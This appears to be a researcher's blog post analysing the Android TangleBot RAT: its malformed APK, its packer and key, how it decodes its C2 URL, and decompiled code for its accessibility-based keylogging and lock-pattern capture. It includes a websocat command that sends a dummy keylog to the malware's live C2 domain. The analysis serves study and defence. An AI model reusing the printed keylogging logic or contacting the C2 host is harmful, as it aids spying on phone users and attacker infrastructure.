Untangling Android/TangleBot

@cryptax
6 min readJul 12, 2024

--

We dig in a malicious sample of Android/TangleBot of May 2024. TangleBot is also reported as a BankBot, although it is more an Android RAT currently than a banking trojan. It is also known as Medusa, but I prefer not to use this name, as this confuses the Android malware with a Windows ransomware, or with the non-malicious and useful hacking tool Medusa.

sha256: d332880175d47393d322c67eb8539c06441f11309ef19c76b59041f11a95e80c

An excellent analysis of TangleBot is available here. I invite you to read it to understand the history of TangleBot, how much the new versions have changed, who they target and what they do.

In this blog post, I will focus on something different: how to analyze the sample, and how it is implemented.

Badly formatted ZIP

The APK has been intentionally zipped with directory names of important Android files.

classes.dex and resources.arsc are crucial files of an Android app. The package intentionally contains as well a directory named classes.dex and another one named resources.arsc to cause unzipping errors.

Unzip complains because it already has a classes.dex file, but not a classes.dex directory.

checkdir error:  ./classes.dex exists but is not directory
unable to process classes.dex/raw/zebra_fragment.glsl.

This confuses some tools such as JADX because they are too strict on ZIP errors.

Here, JADX compalins about recovering the resources. In the end, it manages to parse them, but it is slow.

Packing

The sample is packed using the so-called JsonPacker which is very common. Both Kavanoz and my personal Json Unpacker can handle it. APKiD should also detect it, but doesn’t in this particular case, probably because the Yara signature for the Json packer has changed a little (TO DO: report a bug, and better, fix it).

The encrypted DEX filename is Dajs.json, and the decryption key is dZwUsPG
$ python3 jsondecrypt.py --input Dajs.json --key dZwUsPG
$ unzip -l unpacked.zip
Archive: unpacked.zip
Length Date Time Name
--------- ---------- ----- ----
1535648 2024-03-09 18:33 classes.dex
--------- -------
1535648 1 file

The unpacked DEX has SHA256 1a3685eae23753d392d6384ed99799640c5e91bca80554208f96d53387773d46.

Accessibility Service, again

Most of the maliciousness of the implementation relies on using the Accessibility API. If you don’t know the importance of the Accessibility Service, please follow my talk at Insomni’hack 2024.

The malware asks the end-user to enable Accessibility for the application. It insists. Once this is done, the device is pwned, and the malware can do (nearly) whatever it wants of the infected device.

Shared preferences

The malware maintains a settings file named com.uhrktbnfgijrtlpsvpm.ckchjcelbojwnlvvfsw.xml. All keys have obfuscated names.

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="b24z1bcurlu5aq9b6o910g4kv5jvz5srp" value="true" />
<boolean name="1lf7as4w8hd5zaks0mpc" value="false" />
<boolean name="0oqwd397vpiuqm1nx8o21qmuqa3tavtyv" value="true" />
<int name="l9ez1fs8k423430welz044gra46bm0w" value="1920" />
<boolean name="d2hcny3iq3a8k1re" value="true" />
<int name="8auxav2i31zdo4eo" value="1080" />
<boolean name="57fvxkkp9fh22l8bggwngmol52" value="false" />
<string name="b6zjrb2yiwrrgguyxvm7t02g3hw">6690f48ec591812549160549</string>
<boolean name="igi67lmk08olwncd" value="true" />
</map>

Fortunately, we can map each obfuscated string with its variable name in the disassembled code. For example, the string b6zjrb2yiwrrgguyxvm7t02g3hw corresponds to USER_SECRET. This is an client identifier sent by the remote server.

SharedPrefManager class decompiled by JEB.

C2 URL

As explained here, the URL of the remote C2 is read from Telegram, ICQ and Twitter accounts, a prefix and a suffix needs to be removed and then you get Base64 to decode.

In reality, there’s one more processing to do because the malware has modified the alphabet and switched the first half of the alphabet with the second half.

Alphabet pre-processing before Base64 decoding. In l3.a.H()

In the sample we analyze, there is (1) a Telegram link, (2) an ICQ link and (3) yet another Telegram link is truncated (see the image before this one). ICQ is being shut down, so probably that won’t be useful any longer.

The URL is encoded (let’s not call that encryption) in the unbabvsg… message.
import base64

msg = 'unbabvsg12pTIgpTWyLzIvMJuurzylLJ4hqT9junbabvsg12'
parts = msg.split('unbabvsg12')
extracted = ''
for c in parts[1]:
if (ord(c) >= 97 and ord(c) <= 109) or (ord(c) >= 65 and ord(c) <= 77):
extracted = extracted + chr(ord(c)+13)
elif (ord(c) >= 110 and ord(c) <= 0x7a) or (ord(c) >= 78 and ord(c) <= 90):
extracted = extracted + chr(ord(c)-13)
else:
extracted = extracted + c

print(base64.b64decode(extracted))
Decoded URL

Medusa tool against TangleBot

Actually, you can decode that with Medusa’s base64 interceptor.
The Medusa tool of ch0pin should not be confused with the Android Medusa botnet (named used by Cleafy), which is why I refer to this malware as TangleBot.

Medusa modules I used. Base64 interceptor detects the Base64 decoding and gives us the result.

The malware discusses with its C2 using websockets. This is (partly) handled by sockets/socket_monitor_2. If you happen to try socket_monitor (number 1), you’ll get an error.

socket_monitor does not work on the sample because this module assumes Web Sockets are implemented by org.java_websocket.client namespace. The malware does not use this: web sockets are implemented in o3.s (obfuscated names).

When we “compile” the modules and run Medusa, we get interesting output. In pink, we witness the malware showing a fixed HTML page, qugivspi.html, which is actually the one which asks the end-user to enable Accessibility (see image in Accessibility Service paragraph).

In yellow, the malware contacts the Telegram account to retrieve the C2 URL. Pity, the URL is not complete, it’s https[:]//t.me/unkppapeppappe.

The green part shows the decoded Base64.
The blue part shows the access to the C2 URL, using a socket.

Want to talk with the C2 Web Socket?

The malware communicates with the C2 using a web socket. Web sockets have a couple of advantages over HTTP or REST: both ends can initiate a communication, both ends can send data simultaneously, the communication can be kept open for a long time, TLS is support… and it remains relatively simple.

If you want to talk to the C2, you can use for instance websocat. In the dummy keylog report I sent them, they replied {‘c’: ‘ini’}.

echo '{ "c" : "klog", "cont" : { "pac": "com.android.quicksearchbox", "da" : "07/12/2024 10:15:00 UTC+4", "et" : "text" , "k" : "grrr"}, "sec" : "deadbeef" }' | websocat wss://pempbebebehaziran.top/sk
{'c': 'ini'}

Where are the bot commands handled?

Disassembly of l3.a.t(). There are many, many commands.

Grabbing the [un]lock code

For example, if the command keylog is sent, this sets the shared preference KEYLOG, whose obfuscated value is b24z1bcurlu5aq9b6o910g4kv5jvz5srp.

// l3.a.t()
case "keylog": {
v = 4;
break;
}

case 4: {
String cid = jSONObject0.getString("c_id");
boolean z = jSONObject0.getBoolean("act");
SharedPrefManager.getInstance(context0).write("b24z1bcurlu5aq9b6o910g4kv5jvz5srp", z); // writing KEYLOG
this.I(cid);
return;
}

// AccessibilityControllerService.onAccessibilityEvent()
if(SharedPrefManager.getInstance(this.getApplicationContext()).read("b24z1bcurlu5aq9b6o910g4kv5jvz5srp", false)) { // key log
try {
s = "";
packagename = accessibilityEvent0.getPackageName() == null ? "" : accessibilityEvent0.getPackageName().toString();
date = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US).format(Calendar.getInstance().getTime());
this.c(this.getRootInActiveWindow()); // read pattern lock
// key log of other cases
switch(accessibilityEvent0.getEventType()) {
case 1:
case 8:
case 16: {

// SharedPrefManager
SharedPrefManager.KEYLOG = "b24z1bcurlu5aq9b6o910g4kv5jvz5srp";

This will trigger regular key logging, but also if the phone is locked, code to retrieve the password to unlock the phone.

If an event occurs within the lock pattern view, the malware will grab any key pressed on the screen, and store that in a JSON array.

Hope you had fun!

— Cryptax

--

--

@cryptax

Mobile and IoT malware researcher. The postings on this account are solely my own opinion and do not represent my employer.